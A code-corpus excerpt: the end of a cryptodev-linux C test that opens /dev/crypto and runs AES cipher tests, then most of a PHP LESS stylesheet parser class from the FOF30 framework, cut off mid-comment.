/* Open the crypto device */
fd = open("/dev/crypto", O_RDWR, 0);
if (fd < 0) {
perror("open(/dev/crypto)");
return 1;
}
/* Clone file descriptor */
if (ioctl(fd, CRIOGET, &cfd)) {
perror("ioctl(CRIOGET)");
return 1;
}
/* Set close-on-exec (not really neede here) */
if (fcntl(cfd, F_SETFD, 1) == -1) {
perror("fcntl(F_SETFD)");
return 1;
}
/* Run the test itself */
if (test_aes(cfd))
return 1;
if (test_crypto(cfd))
return 1;
/* Close cloned descriptor */
if (close(cfd)) {
perror("close(cfd)");
return 1;
}
/* Close the original descriptor */
if (close(fd)) {
perror("close(fd)");
return 1;
}
return 0;
}
#else
int
main(int argc, char** argv)
{
return (0);
}
#endif
| cryptodev-linux/cryptodev-linux | tests/async_cipher.c | C | gpl-2.0 | 7,773 |
<?php
/**
* @package FOF
* @copyright Copyright (c)2010-2020 Nicholas K. Dionysopoulos / Akeeba Ltd
* @license GNU General Public License version 2, or later
*/
namespace FOF30\Less\Parser;
use FOF30\Less\Less;
use Exception;
defined('_JEXEC') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <[email protected]>
* Licensed under MIT or GPLv3, see LICENSE
*
* Responsible for taking a string of LESS code and converting it into a syntax tree
*
* @since 2.0
*/
class Parser
{
// Used to uniquely identify blocks
protected static $nextBlockId = 0;
protected static $precedence = array(
'=<' => 0,
'>=' => 0,
'=' => 0,
'<' => 0,
'>' => 0,
'+' => 1,
'-' => 1,
'*' => 2,
'/' => 2,
'%' => 2,
);
protected static $whitePattern;
protected static $commentMulti;
protected static $commentSingle = "//";
protected static $commentMultiLeft = "/*";
protected static $commentMultiRight = "*/";
// Regex string to match any of the operators
protected static $operatorString;
// These properties will supress division unless it's inside parenthases
protected static $supressDivisionProps = array('/border-radius$/i', '/^font$/i');
protected $blockDirectives = array("font-face", "keyframes", "page", "-moz-document");
protected $lineDirectives = array("charset");
/**
* if we are in parens we can be more liberal with whitespace around
* operators because it must resolve to a single value and thus is less
* ambiguous.
*
* Consider:
* property1: 10 -5; // is two numbers, 10 and -5
* property2: (10 -5); // should resolve to 5
*/
protected $inParens = false;
// Caches preg escaped literals
protected static $literalCache = array();
/**
* Constructor
*
* @param [type] $lessc [description]
* @param string $sourceName [description]
*/
public function __construct($lessc, $sourceName = null)
{
$this->eatWhiteDefault = true;
// Reference to less needed for vPrefix, mPrefix, and parentSelector
$this->lessc = $lessc;
// Name used for error messages
$this->sourceName = $sourceName;
$this->writeComments = false;
if (!self::$operatorString)
{
self::$operatorString = '(' . implode('|', array_map(array('\\FOF30\\Less\\Less', 'preg_quote'), array_keys(self::$precedence))) . ')';
$commentSingle = Less::preg_quote(self::$commentSingle);
$commentMultiLeft = Less::preg_quote(self::$commentMultiLeft);
$commentMultiRight = Less::preg_quote(self::$commentMultiRight);
self::$commentMulti = $commentMultiLeft . '.*?' . $commentMultiRight;
self::$whitePattern = '/' . $commentSingle . '[^\n]*\s*|(' . self::$commentMulti . ')\s*|\s+/Ais';
}
}
/**
* Parse text
*
* @param string $buffer [description]
*
* @return [type] [description]
*/
public function parse($buffer)
{
$this->count = 0;
$this->line = 1;
// Block stack
$this->env = null;
$this->buffer = $this->writeComments ? $buffer : $this->removeComments($buffer);
$this->pushSpecialBlock("root");
$this->eatWhiteDefault = true;
$this->seenComments = array();
/*
* trim whitespace on head
* if (preg_match('/^\s+/', $this->buffer, $m)) {
* $this->line += substr_count($m[0], "\n");
* $this->buffer = ltrim($this->buffer);
* }
*/
$this->whitespace();
// Parse the entire file
$lastCount = $this->count;
while (false !== $this->parseChunk());
if ($this->count != strlen($this->buffer))
{
$this->throwError();
}
// TODO report where the block was opened
if (!is_null($this->env->parent))
{
throw new exception('parse error: unclosed block');
}
return $this->env;
}
/**
* Parse a single chunk off the head of the buffer and append it to the
* current parse environment.
* Returns false when the buffer is empty, or when there is an error.
*
* This function is called repeatedly until the entire document is
* parsed.
*
* This parser is most similar to a recursive descent parser. Single
* functions represent discrete grammatical rules for the language, and
* they are able to capture the text that represents those rules.
*
* Consider the function lessc::keyword(). (all parse functions are
* structured the same)
*
* The function takes a single reference argument. When calling the
* function it will attempt to match a keyword on the head of the buffer.
* If it is successful, it will place the keyword in the referenced
* argument, advance the position in the buffer, and return true. If it
* fails then it won't advance the buffer and it will return false.
*
* All of these parse functions are powered by lessc::match(), which behaves
* the same way, but takes a literal regular expression. Sometimes it is
* more convenient to use match instead of creating a new function.
*
* Because of the format of the functions, to parse an entire string of
* grammatical rules, you can chain them together using &&.
*
* But, if some of the rules in the chain succeed before one fails, then
* the buffer position will be left at an invalid state. In order to
* avoid this, lessc::seek() is used to remember and set buffer positions.
*
* Before parsing a chain, use $s = $this->seek() to remember the current
* position into $s. Then if a chain fails, use $this->seek($s) to
* go back where we started.
*
* @return boolean
*/
protected function parseChunk()
{
if (empty($this->buffer))
{
return false;
}
$s = $this->seek();
// Setting a property
if ($this->keyword($key) && $this->assign()
&& $this->propertyValue($value, $key) && $this->end())
{
$this->append(array('assign', $key, $value), $s);
return true;
}
else
{
$this->seek($s);
}
// Look for special css blocks
if ($this->literal('@', false))
{
$this->count--;
// Media
if ($this->literal('@media'))
{
if (($this->mediaQueryList($mediaQueries) || true)
&& $this->literal('{'))
{
$media = $this->pushSpecialBlock("media");
$media->queries = is_null($mediaQueries) ? array() : $mediaQueries;
return true;
}
else
{
$this->seek($s);
return false;
}
}
if ($this->literal("@", false) && $this->keyword($dirName))
{
if ($this->isDirective($dirName, $this->blockDirectives))
{
if (($this->openString("{", $dirValue, null, array(";")) || true)
&& $this->literal("{"))
{
$dir = $this->pushSpecialBlock("directive");
$dir->name = $dirName;
if (isset($dirValue))
{
$dir->value = $dirValue;
}
return true;
}
}
elseif ($this->isDirective($dirName, $this->lineDirectives))
{
if ($this->propertyValue($dirValue) && $this->end())
{
$this->append(array("directive", $dirName, $dirValue));
return true;
}
}
}
$this->seek($s);
}
// Setting a variable
if ($this->variable($var) && $this->assign()
&& $this->propertyValue($value) && $this->end())
{
$this->append(array('assign', $var, $value), $s);
return true;
}
else
{
$this->seek($s);
}
if ($this->import($importValue))
{
$this->append($importValue, $s);
return true;
}
// Opening parametric mixin
if ($this->tag($tag, true) && $this->argumentDef($args, $isVararg)
&& ($this->guards($guards) || true)
&& $this->literal('{'))
{
$block = $this->pushBlock($this->fixTags(array($tag)));
$block->args = $args;
$block->isVararg = $isVararg;
if (!empty($guards))
{
$block->guards = $guards;
}
return true;
}
else
{
$this->seek($s);
}
// Opening a simple block
if ($this->tags($tags) && $this->literal('{'))
{
$tags = $this->fixTags($tags);
$this->pushBlock($tags);
return true;
}
else
{
$this->seek($s);
}
// Closing a block
if ($this->literal('}', false))
{
try
{
$block = $this->pop();
}
catch (exception $e)
{
$this->seek($s);
$this->throwError($e->getMessage());
}
$hidden = false;
if (is_null($block->type))
{
$hidden = true;
if (!isset($block->args))
{
foreach ($block->tags as $tag)
{
if (!is_string($tag) || $tag[0] != $this->lessc->mPrefix)
{
$hidden = false;
break;
}
}
}
foreach ($block->tags as $tag)
{
if (is_string($tag))
{
$this->env->children[$tag][] = $block;
}
}
}
if (!$hidden)
{
$this->append(array('block', $block), $s);
}
// This is done here so comments aren't bundled into he block that was just closed
$this->whitespace();
return true;
}
// Mixin
if ($this->mixinTags($tags)
&& ($this->argumentValues($argv) || true)
&& ($this->keyword($suffix) || true)
&& $this->end())
{
$tags = $this->fixTags($tags);
$this->append(array('mixin', $tags, $argv, $suffix), $s);
return true;
}
else
{
$this->seek($s);
}
// Spare ;
if ($this->literal(';'))
{
return true;
}
// Got nothing, throw error
return false;
}
/**
* [isDirective description]
*
* @param string $dirname [description]
* @param [type] $directives [description]
*
* @return boolean
*/
protected function isDirective($dirname, $directives)
{
// TODO: cache pattern in parser
$pattern = implode("|", array_map(array("\\FOF30\\Less\\Less", "preg_quote"), $directives));
$pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';
return preg_match($pattern, $dirname);
}
/**
* [fixTags description]
*
* @param [type] $tags [description]
*
* @return [type] [description]
*/
protected function fixTags($tags)
{
// Move @ tags out of variable namespace
foreach ($tags as &$tag)
{
if ($tag[0] == $this->lessc->vPrefix)
{
$tag[0] = $this->lessc->mPrefix;
}
}
return $tags;
}
/**
* a list of expressions
*
* @param [type] &$exps [description]
*
* @return boolean
*/
protected function expressionList(&$exps)
{
$values = array();
while ($this->expression($exp))
{
$values[] = $exp;
}
if (count($values) == 0)
{
return false;
}
$exps = Less::compressList($values, ' ');
return true;
}
/**
* Attempt to consume an expression.
*
* @param string &$out [description]
*
* @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
*
* @return boolean
*/
protected function expression(&$out)
{
if ($this->value($lhs))
{
$out = $this->expHelper($lhs, 0);
// Look for / shorthand
if (!empty($this->env->supressedDivision))
{
unset($this->env->supressedDivision);
$s = $this->seek();
if ($this->literal("/") && $this->value($rhs))
{
$out = array("list", "",
array($out, array("keyword", "/"), $rhs));
}
else
{
$this->seek($s);
}
}
return true;
}
return false;
}
/**
* Recursively parse infix equation with $lhs at precedence $minP
*
* @param type $lhs [description]
* @param type $minP [description]
*
* @return string
*/
protected function expHelper($lhs, $minP)
{
$this->inExp = true;
$ss = $this->seek();
while (true)
{
$whiteBefore = isset($this->buffer[$this->count - 1]) && ctype_space($this->buffer[$this->count - 1]);
// If there is whitespace before the operator, then we require
// whitespace after the operator for it to be an expression
$needWhite = $whiteBefore && !$this->inParens;
if ($this->match(self::$operatorString . ($needWhite ? '\s' : ''), $m) && self::$precedence[$m[1]] >= $minP)
{
if (!$this->inParens && isset($this->env->currentProperty) && $m[1] == "/" && empty($this->env->supressedDivision))
{
foreach (self::$supressDivisionProps as $pattern)
{
if (preg_match($pattern, $this->env->currentProperty))
{
$this->env->supressedDivision = true;
break 2;
}
}
}
$whiteAfter = isset($this->buffer[$this->count - 1]) && ctype_space($this->buffer[$this->count - 1]);
if (!$this->value($rhs))
{
break;
}
// Peek for next operator to see what to do with rhs
if ($this->peek(self::$operatorString, $next) && self::$precedence[$next[1]] > self::$precedence[$m[1]])
{
$rhs = $this->expHelper($rhs, self::$precedence[$next[1]]);
}
$lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter);
$ss = $this->seek();
continue;
}
break;
}
$this->seek($ss);
return $lhs;
}
/**
* Consume a list of values for a property
*
* @param [type] &$value [description]
* @param [type] $keyName [description]
*
* @return boolean
*/
public function propertyValue(&$value, $keyName = null)
{
$values = array();
if ($keyName !== null)
{
$this->env->currentProperty = $keyName;
}
$s = null;
while ($this->expressionList($v))
{
$values[] = $v;
$s = $this->seek();
if (!$this->literal(','))
{
break;
}
}
if ($s)
{
$this->seek($s);
}
if ($keyName !== null)
{
unset($this->env->currentProperty);
}
if (count($values) == 0)
{
return false;
}
$value = Less::compressList($values, ', ');
return true;
}
/**
* [parenValue description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function parenValue(&$out)
{
$s = $this->seek();
// Speed shortcut
if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "(")
{
return false;
}
$inParens = $this->inParens;
if ($this->literal("(") && ($this->inParens = true) && $this->expression($exp) && $this->literal(")"))
{
$out = $exp;
$this->inParens = $inParens;
return true;
}
else
{
$this->inParens = $inParens;
$this->seek($s);
}
return false;
}
/**
* a single value
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function value(&$value)
{
$s = $this->seek();
// Speed shortcut
if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "-")
{
// Negation
if ($this->literal("-", false) &&(($this->variable($inner) && $inner = array("variable", $inner))
|| $this->unit($inner) || $this->parenValue($inner)))
{
$value = array("unary", "-", $inner);
return true;
}
else
{
$this->seek($s);
}
}
if ($this->parenValue($value))
{
return true;
}
if ($this->unit($value))
{
return true;
}
if ($this->color($value))
{
return true;
}
if ($this->func($value))
{
return true;
}
if ($this->string($value))
{
return true;
}
if ($this->keyword($word))
{
$value = array('keyword', $word);
return true;
}
// Try a variable
if ($this->variable($var))
{
$value = array('variable', $var);
return true;
}
// Unquote string (should this work on any type?
if ($this->literal("~") && $this->string($str))
{
$value = array("escape", $str);
return true;
}
else
{
$this->seek($s);
}
// Css hack: \0
if ($this->literal('\\') && $this->match('([0-9]+)', $m))
{
$value = array('keyword', '\\' . $m[1]);
return true;
}
else
{
$this->seek($s);
}
return false;
}
/**
* an import statement
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function import(&$out)
{
$s = $this->seek();
if (!$this->literal('@import'))
{
return false;
}
/*
* @import "something.css" media;
* @import url("something.css") media;
* @import url(something.css) media;
*/
if ($this->propertyValue($value))
{
$out = array("import", $value);
return true;
}
}
/**
* [mediaQueryList description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function mediaQueryList(&$out)
{
if ($this->genericList($list, "mediaQuery", ",", false))
{
$out = $list[2];
return true;
}
return false;
}
/**
* [mediaQuery description]
*
* @param [type] &$out [description]
*
* @return [type] [description]
*/
protected function mediaQuery(&$out)
{
$s = $this->seek();
$expressions = null;
$parts = array();
if (($this->literal("only") && ($only = true) || $this->literal("not") && ($not = true) || true) && $this->keyword($mediaType))
{
$prop = array("mediaType");
if (isset($only))
{
$prop[] = "only";
}
if (isset($not))
{
$prop[] = "not";
}
$prop[] = $mediaType;
$parts[] = $prop;
}
else
{
$this->seek($s);
}
if (!empty($mediaType) && !$this->literal("and"))
{
// ~
}
else
{
$this->genericList($expressions, "mediaExpression", "and", false);
if (is_array($expressions))
{
$parts = array_merge($parts, $expressions[2]);
}
}
if (count($parts) == 0)
{
$this->seek($s);
return false;
}
$out = $parts;
return true;
}
/**
* [mediaExpression description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function mediaExpression(&$out)
{
$s = $this->seek();
$value = null;
if ($this->literal("(") && $this->keyword($feature) && ($this->literal(":")
&& $this->expression($value) || true) && $this->literal(")"))
{
$out = array("mediaExp", $feature);
if ($value)
{
$out[] = $value;
}
return true;
}
elseif ($this->variable($variable))
{
$out = array('variable', $variable);
return true;
}
$this->seek($s);
return false;
}
/**
* An unbounded string stopped by $end
*
* @param [type] $end [description]
* @param [type] &$out [description]
* @param [type] $nestingOpen [description]
* @param [type] $rejectStrs [description]
*
* @return boolean
*/
protected function openString($end, &$out, $nestingOpen = null, $rejectStrs = null)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
$stop = array("'", '"', "@{", $end);
$stop = array_map(array("\\FOF30\\Less\\Less", "preg_quote"), $stop);
// $stop[] = self::$commentMulti;
if (!is_null($rejectStrs))
{
$stop = array_merge($stop, $rejectStrs);
}
$patt = '(.*?)(' . implode("|", $stop) . ')';
$nestingLevel = 0;
$content = array();
while ($this->match($patt, $m, false))
{
if (!empty($m[1]))
{
$content[] = $m[1];
if ($nestingOpen)
{
$nestingLevel += substr_count($m[1], $nestingOpen);
}
}
$tok = $m[2];
$this->count -= strlen($tok);
if ($tok == $end)
{
if ($nestingLevel == 0)
{
break;
}
else
{
$nestingLevel--;
}
}
if (($tok == "'" || $tok == '"') && $this->string($str))
{
$content[] = $str;
continue;
}
if ($tok == "@{" && $this->interpolation($inter))
{
$content[] = $inter;
continue;
}
if (in_array($tok, $rejectStrs))
{
$count = null;
break;
}
$content[] = $tok;
$this->count += strlen($tok);
}
$this->eatWhiteDefault = $oldWhite;
if (count($content) == 0)
return false;
// Trim the end
if (is_string(end($content)))
{
$content[count($content) - 1] = rtrim(end($content));
}
$out = array("string", "", $content);
return true;
}
/**
* [string description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function string(&$out)
{
$s = $this->seek();
if ($this->literal('"', false))
{
$delim = '"';
}
elseif ($this->literal("'", false))
{
$delim = "'";
}
else
{
return false;
}
$content = array();
// Look for either ending delim , escape, or string interpolation
$patt = '([^\n]*?)(@\{|\\\\|' . Less::preg_quote($delim) . ')';
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
while ($this->match($patt, $m, false))
{
$content[] = $m[1];
if ($m[2] == "@{")
{
$this->count -= strlen($m[2]);
if ($this->interpolation($inter, false))
{
$content[] = $inter;
}
else
{
$this->count += strlen($m[2]);
// Ignore it
$content[] = "@{";
}
}
elseif ($m[2] == '\\')
{
$content[] = $m[2];
if ($this->literal($delim, false))
{
$content[] = $delim;
}
}
else
{
$this->count -= strlen($delim);
// Delim
break;
}
}
$this->eatWhiteDefault = $oldWhite;
if ($this->literal($delim))
{
$out = array("string", $delim, $content);
return true;
}
$this->seek($s);
return false;
}
/**
* [interpolation description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function interpolation(&$out)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = true;
$s = $this->seek();
if ($this->literal("@{") && $this->openString("}", $interp, null, array("'", '"', ";")) && $this->literal("}", false))
{
$out = array("interpolate", $interp);
$this->eatWhiteDefault = $oldWhite;
if ($this->eatWhiteDefault)
{
$this->whitespace();
}
return true;
}
$this->eatWhiteDefault = $oldWhite;
$this->seek($s);
return false;
}
/**
* [unit description]
*
* @param [type] &$unit [description]
*
* @return boolean
*/
protected function unit(&$unit)
{
// Speed shortcut
if (isset($this->buffer[$this->count]))
{
$char = $this->buffer[$this->count];
if (!ctype_digit($char) && $char != ".")
{
return false;
}
}
if ($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m))
{
$unit = array("number", $m[1], empty($m[2]) ? "" : $m[2]);
return true;
}
return false;
}
/**
* a # color
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function color(&$out)
{
if ($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m))
{
if (strlen($m[1]) > 7)
{
$out = array("string", "", array($m[1]));
}
else
{
$out = array("raw_color", $m[1]);
}
return true;
}
return false;
}
/**
* Consume a list of property values delimited by ; and wrapped in ()
*
* @param [type] &$args [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function argumentValues(&$args, $delim = ',')
{
$s = $this->seek();
if (!$this->literal('('))
{
return false;
}
$values = array();
while (true)
{
if ($this->expressionList($value))
{
$values[] = $value;
}
if (!$this->literal($delim))
{
break;
}
else
{
if ($value == null)
{
$values[] = null;
}
$value = null;
}
}
if (!$this->literal(')'))
{
$this->seek($s);
return false;
}
$args = $values;
return true;
}
/**
* Consume an argument definition list surrounded by ()
* each argument is a variable name with optional value
* or at the end a ... or a variable named followed by ...
*
* @param [type] &$args [description]
* @param [type] &$isVararg [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function argumentDef(&$args, &$isVararg, $delim = ',')
{
$s = $this->seek();
if (!$this->literal('('))
return false;
$values = array();
$isVararg = false;
while (true)
{
if ($this->literal("..."))
{
$isVararg = true;
break;
}
if ($this->variable($vname))
{
$arg = array("arg", $vname);
$ss = $this->seek();
if ($this->assign() && $this->expressionList($value))
{
$arg[] = $value;
}
else
{
$this->seek($ss);
if ($this->literal("..."))
{
$arg[0] = "rest";
$isVararg = true;
}
}
$values[] = $arg;
if ($isVararg)
{
break;
}
continue;
}
if ($this->value($literal))
{
$values[] = array("lit", $literal);
}
if (!$this->literal($delim))
{
break;
}
}
if (!$this->literal(')'))
{
$this->seek($s);
return false;
}
$args = $values;
return true;
}
/**
* Consume a list of tags
* This accepts a hanging delimiter
*
* @param [type] &$tags [description]
* @param [type] $simple [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function tags(&$tags, $simple = false, $delim = ',')
{
$tags = array();
while ($this->tag($tt, $simple))
{
$tags[] = $tt;
if (!$this->literal($delim))
{
break;
}
}
if (count($tags) == 0)
{
return false;
}
return true;
}
/**
* List of tags of specifying mixin path
* Optionally separated by > (lazy, accepts extra >)
*
* @param [type] &$tags [description]
*
* @return boolean
*/
protected function mixinTags(&$tags)
{
$s = $this->seek();
$tags = array();
while ($this->tag($tt, true))
{
$tags[] = $tt;
$this->literal(">");
}
if (count($tags) == 0)
{
return false;
}
return true;
}
/**
* A bracketed value (contained within in a tag definition)
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function tagBracket(&$value)
{
// Speed shortcut
if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "[")
{
return false;
}
$s = $this->seek();
if ($this->literal('[') && $this->to(']', $c, true) && $this->literal(']', false))
{
$value = '[' . $c . ']';
// Whitespace?
if ($this->whitespace())
{
$value .= " ";
}
// Escape parent selector, (yuck)
$value = str_replace($this->lessc->parentSelector, "$&$", $value);
return true;
}
$this->seek($s);
return false;
}
/**
* [tagExpression description]
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function tagExpression(&$value)
{
$s = $this->seek();
if ($this->literal("(") && $this->expression($exp) && $this->literal(")"))
{
$value = array('exp', $exp);
return true;
}
$this->seek($s);
return false;
}
/**
* A single tag
*
* @param [type] &$tag [description]
* @param boolean $simple [description]
*
* @return boolean
*/
protected function tag(&$tag, $simple = false)
{
if ($simple)
{
$chars = '^@,:;{}\][>\(\) "\'';
}
else
{
$chars = '^@,;{}["\'';
}
$s = $this->seek();
if (!$simple && $this->tagExpression($tag))
{
return true;
}
$hasExpression = false;
$parts = array();
while ($this->tagBracket($first))
{
$parts[] = $first;
}
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
while (true)
{
if ($this->match('([' . $chars . '0-9][' . $chars . ']*)', $m))
{
$parts[] = $m[1];
if ($simple)
{
break;
}
while ($this->tagBracket($brack))
{
$parts[] = $brack;
}
continue;
}
if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "@")
{
if ($this->interpolation($interp))
{
$hasExpression = true;
// Don't unescape
$interp[2] = true;
$parts[] = $interp;
continue;
}
if ($this->literal("@"))
{
$parts[] = "@";
continue;
}
}
// For keyframes
if ($this->unit($unit))
{
$parts[] = $unit[1];
$parts[] = $unit[2];
continue;
}
break;
}
$this->eatWhiteDefault = $oldWhite;
if (!$parts)
{
$this->seek($s);
return false;
}
if ($hasExpression)
{
$tag = array("exp", array("string", "", $parts));
}
else
{
$tag = trim(implode($parts));
}
$this->whitespace();
return true;
}
/**
* A css function
*
* @param [type] &$func [description]
*
* @return boolean
*/
protected function func(&$func)
{
$s = $this->seek();
if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m) && $this->literal('('))
{
$fname = $m[1];
$sPreArgs = $this->seek();
$args = array();
while (true)
{
$ss = $this->seek();
// This ugly nonsense is for ie filter properties
if ($this->keyword($name) && $this->literal('=') && $this->expressionList($value))
{
$args[] = array("string", "", array($name, "=", $value));
}
else
{
$this->seek($ss);
if ($this->expressionList($value))
{
$args[] = $value;
}
}
if (!$this->literal(','))
{
break;
}
}
$args = array('list', ',', $args);
if ($this->literal(')'))
{
$func = array('function', $fname, $args);
return true;
}
elseif ($fname == 'url')
{
// Couldn't parse and in url? treat as string
$this->seek($sPreArgs);
if ($this->openString(")", $string) && $this->literal(")"))
{
$func = array('function', $fname, $string);
return true;
}
}
}
$this->seek($s);
return false;
}
/**
* Consume a less variable
*
* @param [type] &$name [description]
*
* @return boolean
*/
protected function variable(&$name)
{
$s = $this->seek();
if ($this->literal($this->lessc->vPrefix, false) && ($this->variable($sub) || $this->keyword($name)))
{
if (!empty($sub))
{
$name = array('variable', $sub);
}
else
{
$name = $this->lessc->vPrefix . $name;
}
return true;
}
$name = null;
$this->seek($s);
return false;
}
/**
* Consume an assignment operator
* Can optionally take a name that will be set to the current property name
*
* @param string $name [description]
*
* @return boolean
*/
protected function assign($name = null)
{
if ($name)
{
$this->currentProperty = $name;
}
return $this->literal(':') || $this->literal('=');
}
/**
* Consume a keyword
*
* @param [type] &$word [description]
*
* @return boolean
*/
protected function keyword(&$word)
{
if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m))
{
$word = $m[1];
return true;
}
return false;
}
/**
* Consume an end of statement delimiter
*
* @return boolean
*/
protected function end()
{
if ($this->literal(';'))
{
return true;
}
elseif ($this->count == strlen($this->buffer) || $this->buffer{$this->count} == '}')
{
// If there is end of file or a closing block next then we don't need a ;
return true;
}
return false;
}
/**
* [guards description]
*
* @param [type] &$guards [description]
*
* @return boolean
*/
protected function guards(&$guards)
{
$s = $this->seek();
if (!$this->literal("when"))
{
$this->seek($s);
return false;
}
$guards = array();
while ($this->guardGroup($g))
{
$guards[] = $g;
if (!$this->literal(","))
{
break;
}
}
if (count($guards) == 0)
{
$guards = null;
$this->seek($s);
return false;
}
return true;
}
/**
* A bunch of guards that are and'd together
*
* @param [type] &$guardGroup [description]
*
* @todo rename to guardGroup
*
* @return boolean
*/
protected function guardGroup(&$guardGroup)
{
$s = $this->seek();
$guardGroup = array();
while ($this->guard($guard))
{
$guardGroup[] = $guard;
if (!$this->literal("and"))
{
break;
}
}
if (count($guardGroup) == 0)
{
$guardGroup = null;
$this->seek($s);
return false;
}
return true;
}
/**
* [guard description]
*
* @param [type] &$guard [description]
*
* @return boolean
*/
protected function guard(&$guard)
{
$s = $this->seek();
$negate = $this->literal("not");
if ($this->literal("(") && $this->expression($exp) && $this->literal(")"))
{
$guard = $exp;
if ($negate)
{
$guard = array("negate", $guard);
}
return true;
}
$this->seek($s);
return false;
}
/* raw parsing functions */
/**
* [literal description]
*
* @param [type] $what [description]
* @param [type] $eatWhitespace [description]
*
* @return boolean
*/
protected function literal($what, $eatWhitespace = null)
{
if ($eatWhitespace === null)
{
$eatWhitespace = $this->eatWhiteDefault;
}
// Shortcut on single letter
if (!isset($what[1]) && isset($this->buffer[$this->count]))
{
if ($this->buffer[$this->count] == $what)
{
if (!$eatWhitespace)
{
$this->count++;
return true;
}
}
else
{
return false;
}
}
if (!isset(self::$literalCache[$what]))
{
self::$literalCache[$what] = Less::preg_quote($what);
}
return $this->match(self::$literalCache[$what], $m, $eatWhitespace);
}
/**
* [genericList description]
*
* @param [type] &$out [description]
* @param [type] $parseItem [description]
* @param string $delim [description]
* @param boolean $flatten [description]
*
* @return boolean
*/
protected function genericList(&$out, $parseItem, $delim = "", $flatten = true)
{
$s = $this->seek();
$items = array();
while ($this->$parseItem($value))
{
$items[] = $value;
if ($delim)
{
if (!$this->literal($delim))
{
break;
}
}
}
if (count($items) == 0)
{
$this->seek($s);
return false;
}
if ($flatten && count($items) == 1)
{
$out = $items[0];
}
else
{
$out = array("list", $delim, $items);
}
return true;
}
/**
* Advance counter to next occurrence of $what
* $until - don't include $what in advance
* $allowNewline, if string, will be used as valid char set
*
* @param [type] $what [description]
* @param [type] &$out [description]
* @param boolean $until [description]
* @param boolean $allowNewline [description]
*
* @return boolean
*/
protected function to($what, &$out, $until = false, $allowNewline = false)
{
if (is_string($allowNewline))
{
$validChars = $allowNewline;
}
else
{
$validChars = $allowNewline ? "." : "[^\n]";
}
if (!$this->match('(' . $validChars . '*?)' . Less::preg_quote($what), $m, !$until))
{
return false;
}
if ($until)
{
// Give back $what
$this->count -= strlen($what);
}
$out = $m[1];
return true;
}
/**
* Try to match something on head of buffer
*
* @param [type] $regex [description]
* @param [type] &$out [description]
* @param [type] $eatWhitespace [description]
*
* @return boolean
*/
protected function match($regex, &$out, $eatWhitespace = null)
{
if ($eatWhitespace === null)
{
$eatWhitespace = $this->eatWhiteDefault;
}
$r = '/' . $regex . ($eatWhitespace && !$this->writeComments ? '\s*' : '') . '/Ais';
if (preg_match($r, $this->buffer, $out, null, $this->count))
{
$this->count += strlen($out[0]);
if ($eatWhitespace && $this->writeComments)
{
$this->whitespace();
}
return true;
}
return false;
}
/**
* Watch some whitespace
*
* @return boolean
*/
protected function whitespace()
{
if ($this->writeComments)
{
$gotWhite = false;
while (preg_match(self::$whitePattern, $this->buffer, $m, null, $this->count))
{
if (isset($m[1]) && empty($this->commentsSeen[$this->count]))
{
$this->append(array("comment", $m[1]));
$this->commentsSeen[$this->count] = true;
}
$this->count += strlen($m[0]);
$gotWhite = true;
}
return $gotWhite;
}
else
{
$this->match("", $m);
return strlen($m[0]) > 0;
}
}
/**
* Match something without consuming it
*
* @param [type] $regex [description]
* @param [type] &$out [description]
* @param [type] $from [description]
*
* @return boolean
*/
protected function peek($regex, &$out = null, $from = null)
{
if (is_null($from))
{
$from = $this->count;
}
$r = '/' . $regex . '/Ais';
$result = preg_match($r, $this->buffer, $out, null, $from);
return $result;
}
/**
* Seek to a spot in the buffer or return where we are on no argument
*
* @param [type] $where [description]
*
* @return boolean
*/
protected function seek($where = null)
{
if ($where === null)
{
return $this->count;
}
else
{
$this->count = $where;
}
return true;
}
/* misc functions */
/**
* [throwError description]
*
* @param string $msg [description]
* @param [type] $count [description]
*
* @return void
*/
public function throwError($msg = "parse error", $count = null)
{
$count = is_null($count) ? $this->count : $count;
$line = $this->line + substr_count(substr($this->buffer, 0, $count), "\n");
if (!empty($this->sourceName))
{
$loc = "$this->sourceName on line $line";
}
else
{
$loc = "line: $line";
}
// TODO this depends on $this->count
if ($this->peek("(.*?)(\n|$)", $m, $count))
{
throw new exception("$msg: failed at `$m[1]` $loc");
}
else
{
throw new exception("$msg: $loc");
}
}
/**
* [pushBlock description]
*
* @param [type] $selectors [description]
* @param [type] $type [description]
*
* @return \stdClass
*/
protected function pushBlock($selectors = null, $type = null)
{
$b = new \stdClass;
$b->parent = $this->env;
$b->type = $type;
$b->id = self::$nextBlockId++;
// TODO: kill me from here
$b->isVararg = false;
$b->tags = $selectors;
$b->props = array();
$b->children = array();
$this->env = $b;
return $b;
}
/**
* Push a block that doesn't multiply tags
*
* @param [type] $type [description]
*
* @return \stdClass
*/
protected function pushSpecialBlock($type)
{
return $this->pushBlock(null, $type);
}
/**
* Append a property to the current block
*
